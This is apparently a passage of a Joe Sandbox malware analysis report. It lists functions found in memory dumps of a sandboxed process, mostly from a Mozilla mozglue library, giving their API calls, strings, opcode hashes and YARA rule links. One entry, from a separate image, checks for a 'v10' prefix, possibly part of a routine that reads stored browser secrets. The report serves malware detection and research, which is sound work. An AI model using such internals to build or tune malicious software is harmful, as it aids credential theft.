Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: d9a35b89343df59703f904313f90579d1ac925ed65a3baa28411e8298d9ec92a
Instruction ID: 90357cf975bdff0f8fd8dbce56cfb9cf322257993ca6c43ed7bc86956861d80d
Opcode Fuzzy Hash: d9a35b89343df59703f904313f90579d1ac925ed65a3baa28411e8298d9ec92a
Instruction Fuzzy Hash: 89414471A0870D9BCB08DF78E85115EBBE5EB85348F10863EFD59ABB81EB309805C751

Function 6C239830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C23985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C23987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6C2398DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6C2398D9

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: 38898918116edc3030bba8b8944f2f4f88fad3a3ba46524744b097b4efa01950
Instruction ID: 969068c4d068b990063992eb54c76087c357936a46691c35a508b2f63a565be3
Opcode Fuzzy Hash: 38898918116edc3030bba8b8944f2f4f88fad3a3ba46524744b097b4efa01950
Instruction Fuzzy Hash: 4B31F475B0010C5FDB14AF59D854AEF77A9DB85718F00802DEE2AABB80CB719905CBE1

Function 6C2146E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C214721

Part of subcall function 6C1C4410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C203EBD,00000017,?,00000000,?,6C203EBD,?,?,6C1C42D2), ref: 6C1C4444

Strings

profiler-paused, xrefs: 6C2146E4
-%llu, xrefs: 6C214733
., xrefs: 6C21476A

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: a3a475d768ca2989e4d3fe652bcbb82ec5772f9e18a112a00a78f025a414f86c
Instruction ID: f4fda03519a1c1cef2529e73cfcd0433f8f63565e3434553f220ac923acf87bf
Opcode Fuzzy Hash: a3a475d768ca2989e4d3fe652bcbb82ec5772f9e18a112a00a78f025a414f86c
Instruction Fuzzy Hash: 233148B1F0820D4BDB0CCF6CD89169EBBE69B88318F15853DED099BB80EB7099058B50

Function 6C21B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C1C4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C203EBD,6C203EBD,00000000), ref: 6C1C42A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C21B127), ref: 6C21B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C21B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C21B4E4

Strings

pid:, xrefs: 6C21B4DE

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 32b107f1e78312a38e781ddb2ed7a405dcafd1142607646cd08679a8ecd11381
Instruction ID: e9f5e3c09c7eb7ec86ecb0691cc3c5cfbc2e6ad5a0db1dd49bef21391e117574
Opcode Fuzzy Hash: 32b107f1e78312a38e781ddb2ed7a405dcafd1142607646cd08679a8ecd11381
Instruction Fuzzy Hash: B13123B1A0520D9BDB00DFAAD884AAEB7F5BF05309F14452DEE01A7F41D771A849CBA1

Function 6C1DBF00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6C227A3F), ref: 6C1DBF11
?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6C227A3F), ref: 6C1DBF5D
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6C227A3F), ref: 6C1DBF7E

Strings

#l, xrefs: 6C1DBF84

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@?init@?$basic_ios@D@std@@@2@_V?$basic_streambuf@
String ID: #l
API String ID: 4279176481-1859165446
Opcode ID: 31d8bc33499ae164b9821ade665801931659d00c82316959e7ef3cc3f9f12d86
Instruction ID: aa90b8e22115f873f94827e69ba70e35754c960a825696279fec7745943fb36a
Opcode Fuzzy Hash: 31d8bc33499ae164b9821ade665801931659d00c82316959e7ef3cc3f9f12d86
Instruction Fuzzy Hash: 8911B2B92006148FC729CF1CD699A2AFBF8FB59308715889DE98A8B750C731AC05CB90

Function 6C1CF100 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(shell32,?,6C23D020), ref: 6C1CF122
GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C1CF132

Strings

shell32, xrefs: 6C1CF11D
SHGetKnownFolderPath, xrefs: 6C1CF12C

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: SHGetKnownFolderPath$shell32
API String ID: 2574300362-1045111711
Opcode ID: 6e6640194a943ace45bb99113f80b79464781131756730cc6c4bb7d202b55b8e
Instruction ID: 78b73c89f0925afdfe98a72a940fa5f175dfd06532a07e651a1a7e13799419a3
Opcode Fuzzy Hash: 6e6640194a943ace45bb99113f80b79464781131756730cc6c4bb7d202b55b8e
Instruction Fuzzy Hash: BA019E717002199FCB00DF6ADC48A5B7BF8EF8A758B404428FC59E7240DB30A900CBA1

Function 6C20E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C20E577
AcquireSRWLockExclusive.KERNEL32(6C24F4B8), ref: 6C20E584
ReleaseSRWLockExclusive.KERNEL32(6C24F4B8), ref: 6C20E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C20E8A6

Strings

MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C20E777
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C20E722, 6C20E750, 6C20E7A2
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C20E655
MOZ_PROFILER_STARTUP, xrefs: 6C20E5A1, 6C20E5CC, 6C20E5FF, 6C20E62A
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C20E826, 6C20E850

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 209a481bc4a7c627e70cd8c8adfded12a06828c761f8cd2b4e97b42358cfcb3e
Instruction ID: a8e7032eee39def0fe40a3d892daff07aab40ec77605ac9d1d8785f2e18cae96
Opcode Fuzzy Hash: 209a481bc4a7c627e70cd8c8adfded12a06828c761f8cd2b4e97b42358cfcb3e
Instruction Fuzzy Hash: BB11CE36700248DFCB00AF14C84CA6ABBB4FBC932CF448619ED8247690DBB0A844CB91

Function 6C1D2272 Relevance: 6.6, APIs: 5, Instructions: 360COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C1D237F
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C1D2B9C

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: f85f1ded037647292da08915882d9d8dba88d0aea2ea09f939900842a4cbe604
Instruction ID: 7431b943fe9e026207622d6e3eaa090269bedc538d0433c712eca67ee3de425a
Opcode Fuzzy Hash: f85f1ded037647292da08915882d9d8dba88d0aea2ea09f939900842a4cbe604
Instruction Fuzzy Hash: E1E17B71A002069FDB08CF59C894A9EBBB2FF88314F1A8168E9199B745D775FC85CB90

Function 6C210C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C210CD5

Part of subcall function 6C1FF960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C1FF9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C210D40
free.MOZGLUE ref: 6C210DCB

Part of subcall function 6C1E5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C1E5EDB
Part of subcall function 6C1E5E90: memset.VCRUNTIME140(ew"l,000000E5,?), ref: 6C1E5F27
Part of subcall function 6C1E5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C1E5FB2

free.MOZGLUE ref: 6C210DDD
free.MOZGLUE ref: 6C210DF2

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 8aa96541f19f73c29a9691890eac0d1ae60b9cecb48db5799cb5c82391e7fc6e
Instruction ID: ce69384f6067258a7129eade9adb0f231a891157118d9860a226856e9e5f8273
Opcode Fuzzy Hash: 8aa96541f19f73c29a9691890eac0d1ae60b9cecb48db5799cb5c82391e7fc6e
Instruction Fuzzy Hash: 2441F47591D7988BD320CF29C08079AFBE5BF89714F108A2EE9D887B50DB709455CB82

Function 6C219120 Relevance: 6.3, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C218242,?,00000000,?,6C20B63F), ref: 6C219188
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C218242,?,00000000,?,6C20B63F), ref: 6C2191BB
memcpy.VCRUNTIME140(00000000,00000008,0000000F,?,?,6C218242,?,00000000,?,6C20B63F), ref: 6C2191EB
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C218242,?,00000000,?,6C20B63F), ref: 6C219200
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C218242,?,00000000,?,6C20B63F), ref: 6C219219

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: e770fe6cc1ffcb328ec62a22a62425cf5ec3feda4f1139f3a234f02f6dfa5c5b
Instruction ID: 4fd57baa5376e2d86ccc5ec06c7ef4c04e32668c7659e34dcf2291c635a6c98f
Opcode Fuzzy Hash: e770fe6cc1ffcb328ec62a22a62425cf5ec3feda4f1139f3a234f02f6dfa5c5b
Instruction Fuzzy Hash: ED316931A046098FEB10EF6CDC4475A73E9EF81716F508639DD56C7A40EB31D568CBA1

Function 6C200800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C24E7DC), ref: 6C200838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C20084C
EnterCriticalSection.KERNEL32(?), ref: 6C2008AF
LeaveCriticalSection.KERNEL32(?), ref: 6C2008BD
LeaveCriticalSection.KERNEL32(6C24E7DC), ref: 6C2008D5

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: 6e4bd649e9bf623adfcf303fe2096bdb9a3588b038a6e18dd717194d64791104
Instruction ID: 03865d827fbfae60d61af13ba6b25278622d4597d5dd7f77b72f6226893847f3
Opcode Fuzzy Hash: 6e4bd649e9bf623adfcf303fe2096bdb9a3588b038a6e18dd717194d64791104
Instruction Fuzzy Hash: C721B33170520E8BFB04DF65D848BAEB7B9BF85719F50456AED09A7A80DF71A804CBD0

Function 6C21CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C20DA31,00100000,?,?,00000000,?), ref: 6C21CDA4

Part of subcall function 6C1DCA10: malloc.MOZGLUE(?), ref: 6C1DCA26

Part of subcall function 6C21D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C21CDBA,00100000,?,00000000,?,6C20DA31,00100000,?,?,00000000,?), ref: 6C21D158
Part of subcall function 6C21D130: InitializeConditionVariable.KERNEL32(00000098,?,6C21CDBA,00100000,?,00000000,?,6C20DA31,00100000,?,?,00000000,?), ref: 6C21D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C20DA31,00100000,?,?,00000000,?), ref: 6C21CDC4

Part of subcall function 6C217480: ReleaseSRWLockExclusive.KERNEL32(?,6C2215FC,?,?,?,?,6C2215FC,?), ref: 6C2174EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C20DA31,00100000,?,?,00000000,?), ref: 6C21CECC

Part of subcall function 6C1DCA10: mozalloc_abort.MOZGLUE(?), ref: 6C1DCAA2

Part of subcall function 6C20CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C21CEEA,?,?,?,?,00000000,?,6C20DA31,00100000,?,?,00000000), ref: 6C20CB57
Part of subcall function 6C20CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C20CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C21CEEA,?,?), ref: 6C20CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C20DA31,00100000,?,?,00000000,?), ref: 6C21D058

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 63843bb40176ffb68bccf72771d7a8929ace06db51712b7c59d735a2ed055f01
Instruction ID: 3e2c015b0ccd90949005ab6b08bad4b590cd8a60ed17b8ca75a5be6d235e3188
Opcode Fuzzy Hash: 63843bb40176ffb68bccf72771d7a8929ace06db51712b7c59d735a2ed055f01
Instruction Fuzzy Hash: 74D18075A04B46DFC709CF28C480B99F7E1BF89308F01862DD95987B51EB71E965CB81

Function 6C1D1720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C1D17B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C1D18EE
free.MOZGLUE(?), ref: 6C1D1911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C1D194C

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: e9445ee693f994ee568432a860df399b480ebfdbaf74be578029caa1e753e756
Instruction ID: fd979505e93b9a8d0278baa90dba99b974adfc3d7a0f5b917c858158736eed3a
Opcode Fuzzy Hash: e9445ee693f994ee568432a860df399b480ebfdbaf74be578029caa1e753e756
Instruction Fuzzy Hash: F681E270A10205DFDB08CF68D8949AEBBB2FF89324F15462CE915AB750D730F954CBA2

Function 6C1E5C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C1E5D40
EnterCriticalSection.KERNEL32(6C24F688), ref: 6C1E5D67
__aulldiv.LIBCMT ref: 6C1E5DB4
LeaveCriticalSection.KERNEL32(6C24F688), ref: 6C1E5DED

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 1434a51b0c4c83bf23215a699b59c20e5689e2498459c26e574a4876a54d1bd9
Instruction ID: 6f52b62314a6968448f8fca566bc4b3906d14e1e5fcc26cf8760e5e958d8aef6
Opcode Fuzzy Hash: 1434a51b0c4c83bf23215a699b59c20e5689e2498459c26e574a4876a54d1bd9
Instruction Fuzzy Hash: FE515071E006298FDF08DF68C858AAFBBB1FB89318F19861DDD25A7790C7706945CB90

Function 6C227170 Relevance: 6.1, APIs: 4, Instructions: 138COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C227250
EnterCriticalSection.KERNEL32(6C24F688), ref: 6C227277
__aulldiv.LIBCMT ref: 6C2272C4
LeaveCriticalSection.KERNEL32(6C24F688), ref: 6C2272F7

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 792711a57dfb9b3040d1115829280b3bad4d36c68226a490beaeab029725c693
Instruction ID: 4dd7fabac82b425e1599afcbfdea67b90b79785cf0383c1e1ce0f186288f07ad
Opcode Fuzzy Hash: 792711a57dfb9b3040d1115829280b3bad4d36c68226a490beaeab029725c693
Instruction Fuzzy Hash: A0517F71E041298FCF08DFA8C854ABFBBB1FB89708F158619DC25A7790C7346945CB90

Function 6C1CCDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C1CCEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C1CCEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C1CCF4E

Strings

0, xrefs: 6C1CCF30

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: b9fe1531ac0744f599bde47eb6d1df302105fbb1573a6abfdf44e170d02d18ad
Instruction ID: 6f9b696818bdafd145353b2182963d518e2749a7c6bf327fe43b83c5d8e0779e
Opcode Fuzzy Hash: b9fe1531ac0744f599bde47eb6d1df302105fbb1573a6abfdf44e170d02d18ad
Instruction Fuzzy Hash: AE510475A0021A8FCB00CF18C4A0A9ABBB5EFA9304F19859DEC595F351D735ED06CBE1

Function 00409E60 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 115COMMON

Download Yara Rule

APIs

memcmp.MSVCRT(0040B741,v10,00000003), ref: 00409E7B
memset.MSVCRT(?,00000000,00000040), ref: 00409EAE

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,024A64F8,?,004210DC,?,00000000), ref: 0041A1FB

Strings

v10, xrefs: 00409E72
@, xrefs: 00409EB7

Memory Dump Source

Source File: 00000008.00000002.2738630098.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
